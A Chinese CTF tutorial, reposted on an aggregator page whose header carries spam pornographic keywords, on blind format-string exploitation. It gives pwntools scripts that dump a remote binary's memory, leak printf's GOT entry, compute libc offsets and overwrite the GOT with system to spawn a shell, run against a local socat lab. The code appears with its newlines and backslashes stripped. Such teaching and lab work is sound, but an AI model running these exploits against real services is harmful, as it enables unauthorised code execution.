日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

判断字符串格式_Blind_pwn之格式化字符串

發布時間:2024/10/14 编程问答 36 豆豆
生活随笔 收集整理的這篇文章主要介紹了 判断字符串格式_Blind_pwn之格式化字符串 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

作者:SkYe合天智匯

可能需要提前了解的知識

  • 格式化字符串原理&利用
  • got & plt 調用關系
  • 程序的一般啟動過程

原理

格式化字符串盲打指的是只給出可交互的 ip 地址與端口,不給出對應的 binary 文件來讓我們無法通過 IDA 分析,其實這個和 BROP 差不多,不過 BROP 利用的是棧溢出,而這里我們利用的是無限格式化字符串漏洞,把在內存中的程序給dump下來。

一般來說,我們按照如下步驟進行

  • 確定程序的位數(不同位數有些許差別)
  • 確定漏洞位置
  • 利用

使用條件

  • 可以讀入 'x00' 字符的
  • 輸出函數均是 'x00' 截斷的
  • 能無限使用格式化字符串漏洞

32 位利用手法

實驗環境準備

程序源碼如下:

#include <stdio.h> #include <string.h> #include <unistd.h> int main(int argc, char *argv[]) {setbuf(stdin, 0LL);setbuf(stdout, 0LL);setbuf(stderr, 0LL);int flag;char buf[1024];FILE* f;puts("What's your name?");fgets(buf, 1024, stdin);printf("Hi, ");printf("%s",buf);putchar('n');flag = 1;while (flag == 1){puts("Do you want the flag?");memset(buf,'0',1024);read(STDIN_FILENO, buf, 100);if (!strcmp(buf, "non")){printf("I see. Good bye.");return 0;}else{ printf("Your input isn't right:");printf(buf);printf("Please Try again!n");}fflush(stdout);}return 0; }

編譯 32 位文件:

gcc -z execstack -fno-stack-protector -m32 -o leakmemory leakmemory.c

用 socat 掛到端口 10001 上部署:

socat TCP4-LISTEN:10001,fork EXEC:./leakmemory

實驗環境完成,如果是本地部署的話,等等在 exp 里面寫 remote("127.0.0.1",10001) 模擬沒有 binary 的遠程盲打情況。

確定程序的位數

用 %p 看看程序回顯輸出的長度是多少,以此判斷程序的位數。這里看到回顯是 4 個字節,判斷是 32 位程序。可以再多泄露幾個,都是 4 字節(含)以下的,確定為 32 位程序。

確定格式化字符串偏移

找到格式化字符串的偏移是多少,在后續操作中會用到。由于沒有 binary 不能通過調試分析偏移,就采取輸入多個 %p 泄露出偏移。為了容易辨認,字符串開始先填充 4 字節 的填充(64位8字節),然后再填入 %p 。

最后確認偏移為 7 。

dump 程序

dump 程序應該選哪個格式化字符串:

%n$s :將第 n 個參數的值作為地址,輸出這個地址指向的字符串內容

%n$p :將第 n 個參數的值作為內容,以十六進制形式輸出

我們是需要 dump 程序,也就是想獲取我們所給定地址的內容,而不是獲取我們給定的地址。所以應該用 %n$s 把我們給定地址當作指針,輸出給定地址所指向的字符串。結合前面知道格式化字符串偏移為 7 ,payload 應該為:%9$s.TMP[addr] 。

注意:使用 %s 進行輸出并不是一個字節一個字節輸出,而是一直輸出直到遇到 x00 截止符才會停止,也就是每次泄露的長度是不確定的,可能很長也可能是空。因為 .text 段很可能有連續 x00 ,所以泄露腳本處理情況有:

  • 針對每次泄露長度不等,addr 根據每次泄露長度動態增加;
  • 泄露字符串可能為空,也就是如何處理 x00 ;
  • 除此之外,還有一個問題是泄露的起始地址在哪里?從各個大佬文章學到兩種做法:從 .text 段開始;從程序加載地方開始;兩種方法泄露出來程序,在 ida 中呈現有差別。

    從程序加載地方開始

    先來說省事的,從程序加載地方開始。程序加載地方 32 位和 64 位各不相同:

    32 位:從 0x8048000 開始泄露

    64 位:從 0x400000 開始泄露

    下面是這條例題的泄露腳本,結合注解分析如何處理上面提到的問題:

    #! /usr/bin/env python # -*- coding: utf-8 -*- from pwn import * import binasciir = remote('127.0.0.1',10001)def leak(addr):payload = "%9$s.TMP" + p32(addr)r.sendline(payload)print "leaking:", hex(addr)r.recvuntil('right:')ret = r.recvuntil(".TMP",drop=True)print "ret:", binascii.hexlify(ret), len(ret)remain = r.recvrepeat(0.2)return ret# name r.recv() r.sendline('nameaaa') r.recv()# leak begin = 0x8048000 text_seg ='' try:while True:ret = leak(begin)text_seg += retbegin += len(ret)if len(ret) == 0: # nilbegin +=1text_seg += 'x00' except Exception as e:print e finally:print '[+]',len(text_seg)with open('dump_bin','wb') as f:f.write(text_seg)

    注解:

    • 19-21 行:處理無關泄露的程序流程后,進入格式化字符串漏洞輸入狀態
    • 24 行:32 位系統加載地址
    • 9 行:"%9$s.TMP" 中的 .TMP 既是填充對齊,也是分隔符,方便后面處理數據
    • 14 行:使用binascii 將泄漏出來字符串每一個都從 ascii 轉換為 十六進制,方便顯示
    • 15 行:r.recvrepeat(0.2) 接受返回的垃圾數據,方便下一輪的輸入
    • 30 行:泄漏地址動態增加,假如泄漏 1 字節就增加 1 ;泄漏 3 字節就增加 3
    • 31-33 行:處理泄漏長度為 0 ,也就是數據是 x00 的情況。地址增加 1 ,程序數據加 x00

    運行之后,耐心等待泄漏完成。泄漏出來的程序是不能運行的,但可以在 ida 進過處理可以進行分析、找 plt 、got.plt 等。

    將泄漏出來的程序,放入 ida ,啟動時選擇以 binary file 加載,勾選 Load as code segment,并調整偏移為: 0x8048000 (開始泄露的地址):

    可以通過 shift+F12 查字符串定位到 main 函數,然后直接 F5 反編譯:

    基本結構已經出來了,盲打沒有源代碼,就需要根據傳入參數去判斷哪個 sub_xxx 是哪個函數了。比如輸出格式化字符串的 sub_8048490 就是 printf 。

    從 .text 段開始

    程序啟動過程:

    從 _start 函數開始就是 .text 段,可以在 ida 中打開一個正常的 binary 觀察 text 段開頭第一個函數就是 _stat :(圖為 32 位程序)

    先用 %p 泄露出棧上數據,找到兩個相同地址,而且這個地址很靠近程序加載初地址(32位:0x8048000;64位:0x400000)。腳本如下:

    from pwn import * import sysp = remote('127.0.0.1',10001)p.recv() p.sendline('nameaaa') p.recv()def where_is_start(ret_index=null):return_addr=0for i in range(400):payload = '%%%d$p.TMP' % (i)p.sendline(payload)p.recvuntil('right:')val = p.recvuntil('.TMP')log.info(str(i*4)+' '+val.strip().ljust(10))if(i*4==ret_index):return_addr=int(val.strip('.TMP').ljust(10)[2:],16)return return_addrp.recvrepeat(0.2)start_addr=where_is_start()

    最后在偏移 1164 和 1188 找到 text 段地址 0x8048510 ,可以對比上圖,上圖是這條例題的截圖:

    泄露腳本和前面一樣只需要修改一下起始地址:

    #! /usr/bin/env python # -*- coding: utf-8 -*- from pwn import * import binascii context.log_level = 'info' r = remote('127.0.0.1',10001)def leak(addr):payload = "%9$s.TMP" + p32(addr)r.sendline(payload)print "leaking:", hex(addr)r.recvuntil('right:')ret = r.recvuntil(".TMP",drop=True)print "ret:", binascii.hexlify(ret), len(ret)remain = r.recvrepeat(0.2)return ret# name r.recv() r.sendline('nameaaa') r.recv()# leak begin = 0x8048510 #begin = 0x8048000 text_seg ='' try:while True:ret = leak(begin)text_seg += retbegin += len(ret)if len(ret) == 0: # nilbegin +=1text_seg += 'x00' except Exception as e:print e finally:print '[+]',len(text_seg)with open('dump_bin_text','wb') as f:f.write(text_seg)

    將泄露文件放入 ida 分析,啟動時選擇以 binary file 加載,勾選Load as code segment,并調整偏移為: 0x8048510 (開始泄露地址):

    找到 main 函數在 0x0804860B ,需要將這部分定義為函數才能反編譯,右鍵地址隔壁的名稱 loc_804860B ,creat function 。

    紅色部分就是沒有泄露出來的函數,后面跟的就是函數 plt 地址。

    兩種方法各有不同,結合實際使用。

    解題流程

    著重記錄格式化字符串盲打,不一步一步分析這道題目漏洞(詳細分析:默小西博客)。這道題目思路是:

  • 確定 printf 的 plt 地址
  • 通過泄露 plt 表中的指令內容確定對應的 got.plt 表地址
  • 通過泄露的 got.plt 表地址泄露 printf 函數的地址
  • 通過泄露的 printf 的函數地址確定 libc 基址,從而獲得 system 地址
  • 使用格式化字符串的任意寫功能將 printf 的 got.plt 表中的地址修改為 system 的地址
  • send 字符串 “/bin/sh” ,那么在調用 printf(“/bin/sh”) 的時候實際上調用的是 system(“/bin/sh;”) ,從而成功獲取shell
  • 確定 printf 的 plt 地址

    將泄露出來的程序,放入 ida 中分析獲得,函數名后半截就是地址 0x8048490 :

    泄露 got.plt

    和泄露程序 payload 高度相似:

    payload = "%9$sskye" + p32(printf_plt) p.sendline(payload) # xffx25 junk code p.recvuntil('right:xffx25') printf_got_plt = u32(p.recv(4))

    注解:

    為什么接收 'right:xffx25' ?

    right: 是固定回顯,xffx25 是無用字節碼。實際上 0x8048490 的匯編是這樣的:

    pwndbg> pdisass 0x8048490 ? 0x8048490 <printf@plt> jmp dword ptr [0x804a018] <0xf7e4d670>0x8048496 <printf@plt+6> push 0x180x804849b <printf@plt+11> jmp 0x8048450 # 字節碼 pwndbg> x /20wx 0x8048490 0x8048490 <printf@plt>: 0xa01825ff 0x18680804 0xe9000000 0xffffffb0

    0x8048490 指向是一條跳轉 got.plt 指令,我們需要其中跳轉的目標地址。xffx25 就是跳轉指令的字節碼,我們就要先接收 2 字節垃圾數據,然后再接收 4 字節的 got.plt 地址。

    泄露 printf 函數的地址

    構造方法同上,但不需要接收 2 字節垃圾數據:

    payload = "%9$sskye" + p32(printf_got_plt) p.sendline(payload) p.recvuntil('right:') printf_got = u32(p.recv(4))

    泄露 libc 基址& system 地址

    題目沒有給出 libc 。從泄露出來的 printf@got 去 libcdatabase 查詢其他函數偏移。

    printf:0x00049670 system:0x0003ada0

    任意寫修改 printf@got.plt

    payload = fmtstr_payload(7, {printf_got_plt: system_addr}) p.sendline(payload)

    exp

    #!/usr/bin/env python # -*- coding: utf-8 -*- # @Author : MrSkYe # @Email : skye231@foxmail.com # @File : leakmemory_remote.py from pwn import * import binascii context.log_level = 'debug' p = remote('127.0.0.1',10001)def leak(addr):payload = "%9$s.TMP" + p32(addr)p.sendline(payload)print "leaking:", hex(addr)p.recvuntil('right:')resp = p.recvuntil(".TMP")ret = resp[:-4:]print "ret:", binascii.hexlify(ret), len(ret)remain = p.recvrepeat(0.2)return retprintf_plt = 0x8048490# name p.recv() p.sendline('nameaaa') p.recv()# leak printf@got.plt payload = "%9$sskye" + p32(printf_plt) p.sendline(payload) # xffx25 junk code p.recvuntil('right:xffx25') printf_got_plt = u32(p.recv(4)) log.info("printf_got_plt:"+hex(printf_got_plt))# leak printf@got payload = "%9$sskye" + p32(printf_got_plt) p.sendline(payload) p.recvuntil('right:') printf_got = u32(p.recv(4)) log.info("printf_got:"+hex(printf_got))# libcdatabase libc_base = printf_got - 0x00049670 log.info("libc_base:"+hex(libc_base)) system_addr = libc_base + 0x0003ada0 log.info("system_addr:"+hex(system_addr))# overwrite payload = fmtstr_payload(7, {printf_got_plt: system_addr}) p.sendline(payload) p.sendline('/bin/shx00')p.interactive()

    64 位利用手法

    實驗環境準備

    還是使用 32 位的例題源碼,編譯 64 位程序:

    gcc -z execstack -fno-stack-protector -o leakmemory_64 leakmemory.c

    用 socat 掛到端口 10001 上部署:

    socat TCP4-LISTEN:10000,fork EXEC:./leakmemory

    實驗環境完成,如果是本地部署的話,等等在 exp 里面寫 remote("127.0.0.1",10000) 模擬沒有 binary 的遠程盲打。

    確定程序的位數

    填充 8 字節,然后再填入 %p ,回顯長度是 8 字節。

    確定格式化字符串偏移

    最后確認偏移為 8 。

    dump 程序

    從程序加載地方開始,或者從 text 段開始可以的。這里不再找 text 段起始位置,直接從程序加載地方開始泄露。兩個位數程序腳本通用的,改一下參數即可。

    64 位程序加載起始地址是:0x400000,下面是對比圖:

    腳本還是那個腳本,改一下參數即可:

    #! /usr/bin/env python # -*- coding: utf-8 -*- from pwn import * import binascii context.log_level = 'info' #r = remote('127.0.0.1',10001) r = remote('127.0.0.1',10000)def leak(addr):payload = "%9$s.TMP" + p64(addr)r.sendline(payload)print "leaking:", hex(addr)r.recvuntil('right:')ret = r.recvuntil(".TMP",drop=True)print "ret:", binascii.hexlify(ret), len(ret)remain = r.recvrepeat(0.2)return ret# name r.recv() r.sendline('moxiaoxi') r.recv()# leak begin = 0x400000#0x8048000 text_seg ='' try:while True:ret = leak(begin)text_seg += retbegin += len(ret)if len(ret) == 0: # nilbegin +=1text_seg += 'x00' except Exception as e:print e finally:print '[+]',len(text_seg)with open('dump_bin_64','wb') as f:f.write(text_seg)

    ida 加載參數如圖:

    通過字符串定位到 main 函數,這里沒有識別為函數,需要手動創建函數。在 0x0400826 右鍵 creat function ,然后就可以反匯編了。

    點進 printf@plt ,里面是跳轉到 printf@got.plt 指令,也就是從 ida 知道了:

    printf_plt = 0x4006B0 printf_got_plt = 0x601030

    解題思路與 32 位一致,利用腳本:

    #!/usr/bin/env python # -*- coding: utf-8 -*- # @Author : MrSkYe # @Email : skye231@foxmail.com # @File : leakmemory_64_remote.py from pwn import * import binascii context.log_level = 'debug' p = remote('127.0.0.1',10000)def leak(addr):payload = "%9$s.TMP" + p64(addr)p.sendline(payload)print "leaking:", hex(addr)p.recvuntil('right:')resp = p.recvuntil(".TMP")ret = resp[:-4:]print "ret:", binascii.hexlify(ret), len(ret)remain = p.recvrepeat(0.2)return retprintf_plt = 0x4006B0 printf_got_plt = 0x601030# name p.recv() p.sendline('moxiaoxi') p.recv()# leak printf@got payload = "%9$s.TMP" + p64(printf_got_plt+1) p.sendline(payload) p.recvuntil('right:') printf_got = u64(p.recv(5).ljust(7,'x00')+'x00')<<8 log.info("printf_got:"+hex(printf_got))# libcdatabase libc_base = printf_got - 0x055800 log.info("libc_base:"+hex(libc_base)) system_addr = libc_base + 0x045390 log.info("system_addr:"+hex(system_addr))one = p64(system_addr)[:2] two = p64(system_addr>>16)[:2]payload = "%9104c%12$hn%54293c%13$hn" + 'a'*7 payload += p64(printf_got_plt) + p64(printf_got_plt+2)p.sendline(payload) p.recv() p.sendline('/bin/shx00')p.interactive()

    更多實例

    • axb_2019_fmt32

    BUU 上有實驗環境,忽略提供的二進制文件,就是盲打題目

    • axb_2019_fmt64

    BUU 上有實驗環境,忽略提供的二進制文件,就是盲打題目

    • SuCTF2018 - lock2

    主辦方提供了 docker 鏡像: suctf/2018-pwn-lock2

    參考

    • ctf-wiki
    • leak me
    • pwn-盲打

    實驗推薦

    格式化(字符串)溢出實驗

    https://www.hetianlab.com/expc.do?ec=2a2450e9-563e-4d99-b0ab-089d65ba7d4d

    (通過該實驗,了解格式化溢出原理并掌握其方法)

    聲明:筆者初衷用于分享與普及網絡知識,若讀者因此作出任何危害網絡安全行為后果自負,與合天智匯及原作者無關!

    總結

    以上是生活随笔為你收集整理的判断字符串格式_Blind_pwn之格式化字符串的全部內容,希望文章能夠幫你解決所遇到的問題。

    如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。